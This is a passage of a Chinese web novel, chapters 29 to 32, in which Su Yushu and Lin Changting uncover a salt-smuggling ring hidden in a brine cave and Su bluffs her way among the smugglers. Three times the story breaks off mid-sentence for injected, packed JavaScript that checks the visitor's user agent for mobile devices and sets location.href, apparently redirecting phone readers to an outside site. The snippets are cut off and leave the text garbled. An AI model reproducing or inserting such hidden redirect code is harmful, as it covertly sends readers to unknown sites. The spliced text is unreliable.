闻先生轻车熟路地走在前面,虽然苏玉淑一步一跟,可还是落下了一段距离。林长亭听着她呼哧呼哧的喘息声,不自主地伸出手扶住了她。火光明明暗暗,苏玉淑的呼吸声愈发粗重起来,她的后背已经被汗水洇湿,黏在身上难受得很。 “你还好吗?”林长亭握住了她的手腕,“不行就出去吧。” “不要。” “我就知道你会这么说。” 林长亭无奈笑笑,手上更用了几分力气。好在是那闻先生所言不虚,越走越凉快,约莫一盏茶的功夫周遭便干爽下来。苏玉淑借着微弱的火光环顾四周,几方池子倒是在黑暗之中反射得波光粼粼甚是好看,只是这气味着实是难以恭维。 “这比马房的味道也好不到哪里去……”她嫌弃地捂了捂鼻子,顺手也蒙上了林长亭的,“怎么有一股烂咸菜混着石灰的味儿啊。” 林长亭下意识一躲,苏玉淑的手就这么支棱在空中。她狠狠瞪了林长亭一眼,他看了看苏玉淑撇起地嘴,犹犹豫豫地把自己的脸凑到了她的手边。 “我倒是觉得没那么难闻。”林长亭的声音听起来瓮声瓮气的,“而且你不觉得少了点什么吗?” “闻先生?” 苏玉淑恍然惊觉,她四下张望,可一片漆黑之中并没有闻先生的身影。 “闻先生?闻先生你在哪儿?” 可回答她的只有寂静。 “别怕,没事的。”林长亭按住了她的肩膀,“他引你到这里来一定是有他的道理,我们应该不会有性命之忧。” “可是他……” “别慌。你现在要做的事是什么?” 林长亭的声音仿佛有一种安抚人心的魔力,在这无边的幽暗里,苏玉淑的心跳逐渐缓和下来。她转过身去看着他的眼睛,语气比刚才要坚定万分:“我要冷静下来。” 他在黑暗之中笑了笑:“很好。来的路上我仔细观察过,这里并没有什么别的记号或者藏人的地方,所以现在我们要做的是看看这里有什么不妥,值得闻先生这样苦心把我们钓过来。” “你瞧,”苏玉淑指向墙边,“这里的火把的火苗不是直的。如果真的和闻先生所说一样,这里一定是有别的出口,不然这火把早就熄灭了。你瞧这火苗的方向,是朝着山的那边而不是入口,说明我们离另一个出口更近。只是……” 林长亭其实早就发现了这里的出口,这卤水房是依托着山体内部的空间修建而成的,挑高约莫有十余米,想来那通风的地方位置也必定不低。这点高度对他来说不算什么,可对于玉淑这样的半吊子来说,想要爬上去可是太难了点。 “我们先在这里查探一番如何。”林长亭思索再三,还是决定留下来。无论是苏玉鸿的嘱托还是从他的内心来讲,此时此刻他都不能把苏玉淑一个人丢在这里。上次她的身边好歹还有叶英,可现在她的身边就只有他了。 他决不能让苏玉淑出一丁点儿事。 苏玉淑没有接话。她知道林长亭在想什么。和他的拳脚功夫比起来,自己肯定是从哪儿进来的就得从哪儿出去。闻先生此刻不知道是躲到哪里静观其变,还是有意设下陷阱请君入瓮,不过不管是哪一种,对他们来说最好的选择都是分头行动。 不过既然林长亭想留下,那么和她一同先查探一番也是好的。 好在这里凉爽,苏玉淑小心踱着步子取下了墙边的火把。她凭借着手中的火光,将自己的周围照了个仔仔细细。这里一共有卤水池子四个,每个大约半亩,深度则不可见。她走到了最后一个卤水池的后面,这里有些稻草歪歪扭扭地堆了一人高,令苏玉淑十分在意。 “林长亭,你看这里!” 林长亭身子一怔,他好像想说些什么,可顿了一下后还是大踏步朝着她的身影走去。他借着苏玉淑手中的火光将那堆杂草搬开,里面赫然躺着几节竹子。他只觉得脑子“嗡”的一声,登时拿起一根仔细观察起来。尽管光线幽微,可他还是认出了这竹子上特有的记号—— 一边被削成了圆弧形。 果然不出他所料,那姓闻的是故意让他们看见的。可为什么他不出面?这么大点的地方他又能躲到哪里去呢?这竹子到底是怎么用的,为什么两边会有一模一样的东西存在呢?它们之间是怎么联系起来的? 联系……等等,联系! “玉淑,你从小在师城长大,你知不知道师城的地形约莫是什么样的?” 苏玉淑尽虽然不解,但也老实回答:“咱们现在在的地方是师城东边的无名山,过了这道山就是城郊的几个庄子,然后一路走低就到了师城的城中了,再往西走都是一路平原。总的来说就是这边略高些,你怎么突然想起问这个了?你是不是想到什么了?” “那你知不知道这座山的走向?” “嗯……”苏玉淑低头沉思,“我记得是东西……不对,上次来好像是南北……可是……这山长得怪怪的,按理说是东西走向没错,可是在盐场这一带又是南北走向的,倒是有点像半个马蹄形?这和山又有什么关系吗?你到底知道什么了?” “你瞧这些竹子。”林长亭伸手递过去一根较短的,“实不相瞒,我上次和那老道打过交道,他透露给我一些信息。可我带人去查的时候,也只看到长成这样的竹子,别的什么也没有搜到。正一他们蹲了足足半月有余,这群人竟然也没个动静。其实我心中早有猜想,只是刚才你那么一说,我才又坚定了几分。” “这竹子和贩盐有什么关系吗?” “玉淑,你知不知道有一种东西叫做‘渴乌’?” 苏玉淑摇摇头:“那是什么?” “渴乌是一种农具,本来是用于灌溉浇地的。这种农具可以将水从较低的一边吸取到较高的一边,或者引水过山。你瞧这竹子,有的只有一端被削成圆弧,有的则是中间有洞,想来是一些用于固定渴乌管子,一些则用于固定竹架,防止渴乌漏气或者坍塌。刚才那闻先生反复提到卤水,我便有此猜想,刚刚经你一说,想来我们从这里出去,应当正好是那老道所指之地。” “他们居然能想出这个法 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16457812|185365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子……”苏玉淑有些不可置信,“那他们拿出去卤水不是还需提纯晾晒吗?这又如何做到?” “这里倒是凉爽背阴,可是山的另一边确是干燥炎热。且我们在地面上发现了大量的盐碱结晶,不知他们是否曾在那里把盐泥或者别的什么东西堆在一起,才把好好的土地变成那么一副干巴的样子。” 如果真的是如林长亭所言,那么能办成这件事的人必然是懂得农技和天气的。也不知东流盐场里到底有谁懂得这么多,从某种意义上来说倒也是个人才。 只可惜,多行不义必自毙。 苏玉淑抬头看了看岩壁,她的脸庞在火光的照射下微微泛红。突然,她回过头对林长亭灿烂一笑: “林长亭,你去吧。” “什么?” “我说,你先去吧。”苏玉淑学着他的样子拍了拍他的肩膀,“你先去,我原路出去就是了。反正现在也没有人把我怎么样,无非就是路上黑了点,我举着火把慢慢走就行了。” “不行。”林长亭拒绝得斩钉截铁,“现在没事又不能说明一会儿也没事。” “我说您能不能盼我点好儿啊?”苏玉淑翻了个白眼,“我就是有点怕黑,别的也没什么。再说了我一直在这儿也不是办法啊,咱们时间紧迫,你从这边出去查看,我原路返回,就算遇到什么歹人……” 她拍了拍自己的腰间,眉眼之中尽是骄傲:“你送的东西我可还带在身上呢。” “那也不……” “林长亭,我是诱饵。你不能忘了我的作用,你得卖个破绽给他们。你一直在这里他们是不会出现的,更何况你若是从这里出去,拿到了实打实的证据便能调兵遣将,你快些接我们出去就是了。” 不得不承认,苏玉淑做的决定是正确的。可林长亭怎么也放不下心来,他有种不好的预感。 “哎呀你别磨蹭了。孤男寡女共处一室成何体统啊,你赶紧走,本小姐的名声都要被你坏了。” 说着,苏玉淑装作用力的样子推了林长亭两下,她笑得一脸轻松,可林长亭一眼就看出来了。 装的。 沉默半晌,他终于幽幽开口: “你等我回来。” “知道。” “等我回来,你就再也不许叫我林大人了。” “嗯嗯。嗯?”苏玉淑一脸不解,“嗯??” “你今天,一直在叫我林长亭。”他转过身去,摩挲着一处可供攀爬的岩石,“我喜欢你叫我的名字。你快些出去找你哥,然后等我回来。不要逞强,也别一个人乱走。” “嗯,你去吧。” 林长亭没有回头,他再回头便舍不得把这一个小女孩儿自己扔在这黑漆漆的山洞里了。他深提一口气,脚尖只微微用力便登了上去。苏玉淑一开始还能看到他矫健的身影,可几丈后,林长亭就与那漆黑融为一体,只有窸窸窣窣的声音而不见其人。 继而一片安静笼罩了她。 苏玉淑觉得自己快要哭出来了。 她实在是怕的很。这里又黑,又安静,那无边的寂静里仿佛养着几只活生生的怪兽随时准备冲出将她扯碎。苏玉淑攥紧了手中的火把,她右手摸向腰间,将那把匕首牢牢握在手中—— 这便是她现在唯一的依靠。 她只能依靠自己。 苏玉淑咬紧牙关定了心神,她转身向入口的方向走去。只是有点黑,没什么的。那闻先生爱去哪里去哪里,他还不如林长亭壮实呢,就算冲出来还能把她怎么样不成。苏玉淑啊苏玉淑,你自己也是学武多年,养兵千日用兵一时,你可千万别栽在自己手里啊。 这里的地面并不平坦,她小心地踱步,不敢有丝毫的松懈。身边的温度还是那样的冰凉,此刻她倒是有点怀念储卤房最开始的闷热了,至少那里还让人有几分心安—— 火光突然猛地一抖—— 苏玉淑果断将火把扔向一旁,只听“噗通”一声,一股焦糊味儿随之窜入她的鼻腔。火把在卤水中一点点沉底,就和苏玉淑此时的心一样—— “大小姐,我等你很久了。” 30. 第三十章 苏玉淑身子一怔,没有太多的时间给她反应,她迅速熄灭了火把并将它扔到了一边。“噗通”一声过后,她把自己藏匿在黑暗里,大气都不敢喘。 这声音,不属于闻先生。 正如林长亭离开之前所说,这里山壁陡峭,岩石坚硬,的确没有藏匿大队人马的空间。可要是就藏这么一个不知目的的人,还是轻而易举的。眼下闻先生生死未卜,自己又孤立无援,这么博弈起来她可以说是毫无胜算。苏玉淑摸索着身旁的大缸小心蹲下,她仔细将每一细丝的声音收入耳中,生怕自己在危险之中陷得更深。 “大小姐不必紧张,你我是一条绳上的蚂蚱,我又怎么会伤害你呢?” 这人的声音喑哑之中又有一分尖锐,在空旷的山洞内显得更为刺耳难听。他的手中仿佛拿着什么硬物,不断敲击着周边的石壁发出叮咚的声响,震得人头晕耳鸣的十分不适。苏玉淑深吸一口气,她按捺下心中的恐惧,竭力在一片黑暗之中保持着冷静。 “苏大小姐,您别躲了。我不会伤害你,我们出来谈谈?” 苏玉淑听出了他话中的试探,却并没有给出反应。从声音来听,这人离自己还有一些距离,但他对地形一定十分熟悉,如果自己坐以待毙,被发现一定是早晚的事情。 她四下看看,只有岩壁处的几根火把还散发着微弱的亮光,这点光芒还不足以支撑着她跑出去,稍有不慎还容易落入卤水池,到时候生死难料更是处境艰难。苏玉淑定了定心神,她还记得自己来的时候的方向,眼下只要慢慢向那边挪动,到时候加速跑出去喊人便是,实在是没有必要冒险与这人接洽。 “苏大小姐,您在怕什么呢?那牌子挂在这么显眼的地方,我想不看见都难啊!”这人敲击的频率略有上升,在安静的环境里更突出了那份急躁,“大小姐,你也不想把苏家的家产都交给你那嫡亲哥哥吧?我可听说,你比他要会做生意呢!” 这个人,一定在师城没什么根基。 苏玉鸿近年来并不多留在师城,而是跟着父亲东征西跑的,师城里的铺子他并不多露面,而是苏玉淑打理管事的居多。这样的流言也是近几年才有的,可见这人对师城,对他们苏家并没有什么太深的了解,居然试图用这种流言骗她出来。 她苏玉淑,是会因为区区家产和自己家人起内讧的人吗? 见这招挑拨离间没什么用处,这人又平添了几分焦躁。他的语气越发急切,口气也变得粗鲁了起来:“苏大小姐,要是想接头你就快些出来,耽误了上面大人的正事儿,到时候你我都吃不了兜着走!” 管你大人不大人的,狗命要紧。苏玉淑暗暗翻了个白眼,继续向门口蠕动着。再过几步路就能碰到最靠边儿的池子了,只要循着池子的轮廓往左走,也就几十步的功夫就能到达卤水房与山洞的连接处。她丝毫不敢怠慢,只恨自己此时不是一条蜈蚣。 那人始终得不到自己想要的回答,干脆对着空气发起了狠:“大小姐!这小白脸的命你也不要了吗?” 糟了。是闻先生。 苏玉淑心底一凉,她最担心的情况还是发生了。 “你再不出来,我可就放他的血了!可惜了闻先生文采滔滔又正直的一个人哟,苏大小姐,你可见过红色的盐水池子啊?哈哈哈哈哈!” “我数三下。一——二——” “够了!” “我就知道,苏大小姐贤名远扬,绝对不会放任别人滥杀无辜的,嘿嘿。”这人笑得如同被痰卡了三天的老汉,苏玉淑努力克制住作呕的冲动,她稳了稳心神应道: “倒是担不起您一句夸赞。只是做生意的人,和气生财罢了。天下熙熙皆为利来,无非是银子的事儿,闹出人命来,你我都担待不起。” “苏大小姐早这么痛快多好呢,闻先生也少受点罪不是。”远处只传来一声闷响,洞中昏暗,苏玉淑只能勉强看清那人的身形与位置,和他脚边滑落的一滩重物。 这人定是料到了闻先生会带他们来到这里,敲晕了闻先生伺机而动。只是他大约没想到林长亭会查探到其中玄妙,反而将自己置于被动之地。这等走一步看一步的做派倒是让苏玉淑心神定了几分,她现在要做的是不仅要成功脱身,更要想办法救下闻先生。 “你想和我搭上话,也要先自报家门才是。你当我苏玉淑是什么人,随便哪儿来的阿猫阿狗都能和我聊两句吗?” 苏玉淑一边装出桀骜的样子,一边微微弓起身子移动着方位。此刻是敌暗我明,绝对不能再暴露位置让对方抢了先机。 “久闻苏大小姐的名号,在下的贱名倒是怕污了您的耳朵。不如我们还是说说正事,怎么样?” “你想的倒是美。你家大人就是这么教你做事的?怕不是杜老爷被你们拿捏惯了,就也当我是纸糊的不成?” “苏大小姐,您来这里仿佛不是为了和我接头啊?” “何处此言?” “那个小厮是怎么回事?您今天要是没有个满意的说法,我可是不能把您放走。” “放肆!”苏玉淑中气十足的一声怒吼余音不停地回响,“我瞧你真是拿自己当了人物了,区区一个跑腿的也议论起我的事?还是说,你赚了点银子就不把我们放在眼里了?实话告诉你,你这样的蠢蛋我们想要多少就有多少,大人的意思还轮的到你说三道四?你今天若再敢多说一句,当心你那不值几个钱的脑袋!” 那人一时之间没有反应过来,苏玉淑一番话倒是把他给镇住了。 她此时已经向出口的方位又挪动了几步。再向前不远便是一处火把,她只怕自己的身影在黑暗之中吸引了那人的注意力。苏玉淑稍稍换了个姿势却是腰间一硌,几个硬硬的东西登时成了她的救命宝物。 “那……那是小的多嘴了。” 这人的气焰低了不少,也真是个会见人下菜碟的东西。这人的服软倒是令苏玉淑底气大涨,如此小人何不利用? 她的一双瞳孔隐匿在黑暗之中,幽微的火光闪烁其间映衬得她如同一只凶猛的幼兽: “我再问一遍,你是谁?” “小人……小人是盐工刘利,今日奉大人之命在此等候大小姐。”他犹犹豫豫地开口,“大小姐,您这批货……什么时候运走啊。” 货?什么货? 苏玉淑心里咯噔一下,她从未如此接近触及真相,林长亭苦查已久却毫无进展,若再不接招只怕苏家头上的刀俎也将即刻落下。她决不能在此时退缩,覆巢之下焉有完卵,若是此刻自己一走了之,活一时容易,可真等到东窗事发的那一天,家族之祸对她而言又何尝不是灭顶之灾! “现在货在哪里?”苏玉淑站起身来,“带我去。” 角落里人影突现,反而把男人吓了一跳。苏玉淑步伐坚定,她是黑暗之中的微弱烛火,是只上下翻飞的萤火虫,哪怕再弱小也一定要发光发热。 当苏玉淑再次置身于日光之下时,她只觉得恍若隔世。 她不知道自己这个冒险的举动是否正确,但她知道自己必须这么做。作为商人的直觉告诉她,这是一次绝对不能放过的机会,若是让刘利跑了或者出了别的什么岔子,她不光对不起林长亭和苏家的希望,更对不起杜蕊华的死。 看着刘利在前面畏畏缩缩带路的身影,她心下紧张之余却也总想起那早死的少女。或许是自己也有那么些贪生怕死,或许是下意识地想避开这种最不好的结局,她极力克制着快要蹦出胸腔的心跳,努力地装出一副轻松的样子来。闻先生无碍,在和刘利正式碰面的那一刻起,他就安全了。他被苏玉淑搁置在卤水房的入口处,想来不多时便会被其他人发现,到时候林长亭的人马应该也已经回来了。 只是自己…… 罢了,不入虎穴,焉得虎子? 苏玉淑摩挲着那块雕刻精细的令牌,她的手掌有些发黏,在上面留下了些许印记。 “你是怎么知道这条路的?”她开口打破寂静,倒是把埋头赶路的刘利吓了一跳,“你怕什么?” “我……” “刚才不是很嚣张吗?现在倒怕了?”苏玉淑冷哼一声,“放心,等我见到大人拿了货走,这儿就没你什么事儿了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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果然她这话一出,刘利的表情又放松了不少,想来那些人也是这样对他说的。苏玉淑索性顺着他们的思路继续演下去:“日后我想接手东流盐场,可谓是困难重重。你有为我办事的想法自然是好,我嘛,也不喜欢亏待了手底下的人。”她从怀中掏出一张银票,“这点钱,你先拿着。” 刘利的眼睛都直了,他死死盯着那随风飘飘的银票,贪婪的模样仿佛一条饿了三天的野狗。尽管他的眼神都快镶在银票上了,可嘴里却含混着故作推辞:“大小姐……这,这钱……不好吧……” “没什么不好的,你只要……” 苏玉淑挑眉一笑,她凑到刘利的耳边悄声说了两句话。 刘利的表情从震惊,再到惊讶,最后他一把收下银票,小心翼翼地叠好揣进胸口:“大小姐,您真是冰雪聪明!您放心吧,这点事小的肯定办好!” “行了,快些带路。误了时辰被别人发现就不好了。” “是,是!没多远了,过了前面那两棵歪脖子树就到了,您快随我来吧!” 刘利在前面几乎要小跑起来,苏玉淑却一点儿都高兴不起来。一路来她抽丝剥茧不断接近幕后之人,可她的心也像被剥蚀般折磨。一月前她还是个奉自由为圭臬的少女,可如今她要为了苏家,为了不可名状的未知一步步接近凶险。 如今她的身边空无一人,她只觉得脊背上好像有千斤重,她此时不再是苏玉鸿的妹妹,也不是什么首富之女,她是一个战士,一个只能依靠自己的绝路侠客,她只是苏玉淑。 所以当那些打包好的,约莫百个巨大的箱子出现在她眼前的时候,她也并未觉得慌张。 “这批货都在这儿了?” 刘利搓着手站在一旁:“应该是了。小的没听说别的。” 苏玉淑皱紧眉头:“这么多……可怎么弄走呢?” “那可就得看苏大小姐的本事了。” 熟悉的声音从角落里传来,苏玉淑心下发笑。这声音她真是再熟悉不过了,她转过身去,眼里满是轻蔑: “张青,你个没用的东西。” 31. 第三十一章 “苏大小姐,我劝你跟我说话客气点儿。这儿可没你哥,也没你的跟班儿。跟我耍横对你可没有一点儿好处,你还是老老实实想想怎么应付上面的事情吧。” 张青满不在乎的笑容看得苏玉淑心里直犯恶心,她长这么大以来还没真正对谁有过杀意。可现在她深切地感受到了那股发自内心的恶毒,那种几乎要将她推下深渊的冲动。苏玉淑强按下不快,既来之则安之,她走上前打开了其中的一个箱子,里面灰白色的粗盐登时出现在她眼前。 这些粗盐颜色暗淡,结晶巨大且粗糙,里面还混着不少灰尘杂质,和东流盐场正常出产的细盐决不能等同而论。回想起林长亭的解释,想来这就是那些在山脚下再次提纯的粗盐,因为长亭他们最近查的严而运不出去只得又收回到盐场当中藏匿,这大约也是他们盯紧了市面却查不到一点儿蛛丝马迹的原因。谁又能想到盐场这本就出盐的地方,藏了些来路不明的盐呢? 她笑了笑。 这些人也真是还有几分盘算。说不上有多精明,可也不傻。 “是刘掌柜给你出的招?”苏玉淑瞟了张青一眼,“你是他姐夫吧?” “是又怎么样?大小姐,你还有心思关心我的家事儿呢?怎么,想和我做一家人吗哈哈哈哈!” 狗东西。 苏玉淑心里暗暗咒骂,她斜着眼睛看着在场的两个男人,刘利自是不必多说,可这张青的底细她还没摸透,纵使再恶心也不能现在就把他的脑袋拔下来。君子报仇十年不晚,她苏玉淑向来是睚眦必报的性子,这么个登徒子走着瞧吧。 她用手拿起一把粗盐,用力碾碎后也难成细腻的齑粉状。再拿到鼻尖处嗅闻,没有那股海盐特有的咸腥味道,反而多出一股草木苦味儿。苏玉淑皱紧眉头:“这东西……谁会吃?” “嗨,盐这东西能用就行。哪就像大小姐您这么挑剔呀?那些个穷人啊当兵的啊有的吃就不错了……哈哈哈……您就别操心它的用途了,您不如想想怎么把它们弄走才是。” “这儿一共有多少石?” “共一百一十四个箱子,约莫一百三十石。”张青呲着一口黄牙,“大小姐,你可有办法啊?这既不能误了日子,更不能被官府发现,贩卖私盐可是灭门的大罪啊,嘿嘿。” “何时送到?送到哪里?” 张青心中暗暗生疑:“大小姐,您怎么什么都不知道啊?” “废话。杜老爷死的突然,我自然是临危受命,哪儿有那闲工夫?我看你倒是时间挺多的,不如你有什么问题亲自去问问大人,如何?”苏玉淑“砰”地一声将箱子一合,巨大的声响在林子里传了又传,甚至惊起了歇息的鸟儿。张青见她怒目圆瞪,上午在众人面前下跪的场景不自主地又跑到了脑子里。他的气焰也不自觉地低了几分,老老实实回答道: “三日后就是时限了,这些都要运到北边的樊城去,算上路途怎么也要走上一个月,所以三日后必须启程。只是近来不管是官道还是私路,官府的眼线都多得很,这么大的量根本就运不走。想来大小姐肯定是比我们聪明,不然大人也不会把么难的活儿交到您手里啊。” “少给我阴阳怪气。自己办不到的事儿,就别怪别人有这个能耐。若是再办事不利只会逞嘴皮子上的功夫,就别怪我回了上面摘了你的脑袋。”苏玉淑阴森森地一笑,“你该不会觉得,我和我那哥哥一样,是个好脾气的吧?” “你……” “你什么你?”她不紧不慢地掏出匕首,看似漫不经心地在箱子上划了几刀。刀刃刮下木屑的声音尤为刺耳,惹得人平白起了一身鸡皮疙瘩: “你看这箱子,就算是做了防水大漆也经不住被雨季这么一浸,外面的木头都散了。让你们几个再耽搁下去,你说……里面的盐会怎么样啊?哦对了,我忘了……” “铮——” 苏玉淑往箱子盖上一坐,随手便把匕首插进一块松动的木板上。张刘二人被她吓得一抖,竟不由自主地都向后挪了半步: “大小姐,您忘了什么了?” 看着张青这副外强中干的不中用的德行,她莞尔一笑:“我忘了什么……诶,你们说,杜老爷是怎么死的来着?” 一阵阴风刮过,竹叶树叶沙沙作响宛如鬼魂索命的哭嚎。苏玉淑的笑是那样的坦然,她像是盛放在巨森之中的火红花朵,热烈而尽情地吞噬着周遭的生命:“你们该不会也忘了吧?不然……你们谁亲自下去问问他?” 两人只觉得脊背发凉,这里分明只有她一个少女,可她身后宛如有布阵军马千万正虎视眈眈地凝视着这一切。刘利拉了拉张青的衣襟,俗话说得好,好汉不吃眼前亏,他们二人可不能现在就折在这里啊,还一丁点儿好处都没捞到呢!张青自知气短,他压下脾气老老实实交代道: “大小姐,这么大的量根本送不出去,我们试着往外运,可没过多久就被官府盯上了只能又运回了盐场。这么多盐少说也要一个商队才够,这些人您可能调动的了?” 苏玉淑漫不经心地敲敲箱子:“区区一个商队,对我来说又算得了什么?我自有我的办法,只是……” “只是什么?” “只是得你们配合。”她狡黠一笑,“若是办成了,上面自然是重重有赏,我也会为你们美言几句,到时候也不用再窝在这儿做个小小盐工了。若是不配合我……你们本就办事不力,现在再罪加一等,该当如何啊?” 刘利满脸奉承:“大小姐自然说什么是什么,我们没有不配合的!” “那张大哥,您呢?” “我……” 苏玉淑使了个颜色,刘利顿时想起她刚刚的耳语,那许诺的可是自己几辈子都花不完的钱啊! “大哥,反正咱们也没别的法子,大小姐手眼通天,咱们跟了她又没坏处!” “行……那我也都听您的。” “好!”苏玉淑从箱子上一跃而下,“有你们俩这句话我就没什么不放心的了。办法我已经想好了,你们二人听着……” 苏玉淑一副胸有成竹的样子讲着自己的计划,把张刘二人听得是一愣一愣的。两人面面相觑,张青不禁发出疑问:“这样当真可行?” “当然。” “可是……” “又或者……你有什么更好的方法吗?” 张青当然没有。他低着头略略思索,最终狠狠地点了点头:“好!我知道了!” “很好,现在我们得赶紧回去,时间不早了。我哥他们见不到我肯定是要找的,我们不能打草惊蛇才是。” “大小姐说得对!”刘利兴奋地搓了搓手,活像一只饱餐一顿的苍蝇,“那事不宜迟,我们赶紧各自准备吧!大小姐这就和我回去吧!” “慢着!” 三人向突如其来的声音的方向看去,在一棵粗壮的树木后面,一个身影缓缓走出: “大小姐,您恐怕还不能走。” “你是个什么东西?也配拦我的路?” 来人身形并不算十分高大,甚至可以说有些瘦小。他看上去像一个没长开的孩子,只是脸上日晒出来的沟壑和斑点出卖了他在这里的年头。苏玉淑皱着眉头看向这人,今天发生的一切都已不在她的掌控之中,好不容易撑下来的场面又不知道从哪里冒出来一个搅局的,真是令人心烦。 “六子?你怎么在这儿啊?”张青满脸迷惑,“你不是说你今儿身上不好受吗?” “张大哥,我今儿本来是不好受,可是我担心您,下午身上松泛点儿了就爬起来看看您,没想到我这一来不要紧,您看我发现了谁?” 苏玉淑心下一凉。 这小六子看起来身形羸弱,可一伸手却从树后拎出个人来。他毫不费力地薅着那人的领子,稍稍一个用力就把人扔向众人面前—— 闻先生。 这个倒霉蛋儿,怎么回回都是他啊。苏玉淑看着地上吃痛蜷缩的人,巴不得上去补两脚。要不是他让人家敲晕了自己也不至于单刀赴会亲临险境。现在倒好,也不知道怎么让这么矮的一个人给拎到这儿来了,又成了个累赘。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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张青也清了清嗓子:“是,是啊。盐场就他这么一个账房,他死了肯定会被发现的。” 小六子面漏凶光,他的拳头都打破了皮,一只手还举在空中:“你们就不怕他告密?到时候咱们几个一个都跑不了!保准叫你们吃不了兜着走!” “这……” 张刘二人不知如何是好,小六子说得在理,万一东窗事发这可不只是掉脑袋的大罪,就连家人都会被连累,可是真的要把闻先生在这里给活活打死,他们也实在是不敢。两人看向苏玉淑,他们的目光里少有地出现了无助的情绪,可无论如何她才是在场地位最高的主事儿的,闻先生是死是活,都得听苏玉淑一句定夺。 啪——啪——啪—— 苏玉淑鼓起了掌。 三人倒是看不懂她这副样子,她看上去悠然自得又有些嘲讽: “小六子,你做的很对,说得也很对。我们干这种事儿的人……难不成要留着把柄送自己上路吗?闻先生,你可真是活的有些腻味了呢。” 此时的闻先生早已没了回话的力气,他倔强地望向苏玉淑,眼神之中充满了不甘和诧异。苏玉淑大步向前,她缓缓蹲下身子,撑着自己的脸颊笑眯眯地说道: “原本还以为你挺聪明的,真没想到……是个活生生的傻子,哈哈哈!你以为跟过来你能听见什么?你看到这些东西,你又能怎么样?去官府告发我吗?你知不知道上面都是我们的人,嗯?还是说,就凭你这么个文弱书生……想把我们三个一锅端了?真是好笑,东流盐场怎么养了你这么个蠢货,哈哈哈哈!” 小六子挠了挠头,虽然是第一次见苏家大小姐,可没想到她居然是个这么疯的女人。他默默往后退了一步,身子也稍稍放松下来: “大小姐,那,那现在……” 苏玉淑抬起头来,本就清秀美貌的一张脸在森林中柔和的光影下显得更加惊艳。她抬了抬眉故作思考,继而灿烂一笑: “那……就杀掉吧。” 在场三人都惊得没敢说话,苏玉淑低下头去,拍了怕闻先生那布满血污的脸: “路是自己选的,你可不要怪我呀……听到我秘密的人,都、得、死。” 32. 第三十二章 “玉淑你跑哪儿去了!”苏玉鸿再找到她的时候已经几近日落,她正不紧不慢地从林子旁的小路中溜达出来,脸上还挂着一抹难掩的笑容。 “你没事吧?怎么不见了这么久?你没事吧?有没有受伤?”他面带焦急地握住苏玉淑的胳膊,此时一抹鲜亮的红色夺取了他的视线—— “你受伤了?在哪里?” “哥,我没事,别大惊小怪的。”苏玉淑往后稍稍偏了下头,她轻轻挑眉,声音也稍大了几分,“是别人的血。我能有什么事?” 苏玉鸿心领神会:“啊别人的……那……那没事就赶紧回去吧,我这边的事情也忙的差不多了,别耽搁了让父亲母亲担心。” “好。”苏玉淑意味深长地回望,那片森林在渐渐暗淡下去的暮色下显得是如此的死气沉沉。几只飞鸟从林间长啸而过,像是为逝去的生命送上最后的一曲高歌,落日如同浓稠的血浆一般均匀地泼洒在每一片叶子上,再化作鲜红的利刃笔直插入这片厚重的泥土。 或许,也穿透了谁的身体。 “你说……大小姐真把闻先生给杀了?”远处的刘利声音还颤颤巍巍的,“真狠啊……” 张青往地上啐了一口:“这能有假?我都看见那血溅出来了,小六子,你是不也看见了?” 小六子点了点头:“下手还算果断。” “刘利不是我说,你这一把年纪了在外面混,杀个人还怕成这样,真是胆小如鼠!要我说就应该让你动手,合该练练你的胆子才是!”张青压低了声音,“真保不齐,以后杀的人还不少呢!” “张哥您别说了,我可听不得这个……那是人命的买卖……怪吓人的!” “看你那怂样儿!要不怎么你只能喝汤别人吃肉呢!要我说,有胆子就干,不敢你就滚蛋!”张青满不在乎地拍了拍手上的泥土,湿漉漉的还不太好弄干净,“咱们走,杀了个人也算这苏大小姐的投名状了,现下,我们才真正算是一条绳儿上的蚂蚱!” 石场主将二人悉心送出了盐场,并无人在意林长亭扮做的小厮早已不知所踪。他在卤水房内部顺着岩壁翻山而出,正如同他的推测一样,高处的山崖之上散落着几根长长的竹子,和那日查获的并无二致。 这里地处山地的背风坡,并不似师城其他处一般整日浸在淅淅沥沥的雨里。因此这里的泥土远算不上泥泞,林长亭细心蹲下,甚至可以在几处低矮的叶片上看到之前人踩下的、已经晒干的足印。他顺着这些不甚明显的脚印一路下山,没过多久便俯瞰到了那日与正一一队人搜查过的地方——城东二十里处,那个十分显眼的蛇形巨石。 “真是好计谋,好手段。”林长亭不禁发笑,他自小于京城长大,见惯了人心凉薄,见惯了世态炎凉,倒是头一回接触这般精巧的工家技艺,不可谓不惊艳。以这帮私盐贩子的货量来看,他们用这种方法倒腾出来的私盐总重绝对是可以株连三族的重罪,这些盐的销路一日不明,国便一日不安。国不安则百姓不宁,闻先生一番高瞻远瞩正与林长亭所查之事不谋而合,此刻,他倒是有些佩服这个屈居在东流盐场里的文弱账房了。 也不知道苏玉淑现下如何了…… 眼瞧着日头渐低,林长亭果断原路折返。他答应过苏玉鸿,绝对不会离开苏玉淑半步,眼下既已食言,那么就一定要在真的出了点什么事儿之前赶回她的身边。未能履约已经使他心中难安,如若苏玉淑不能脱离险境…… 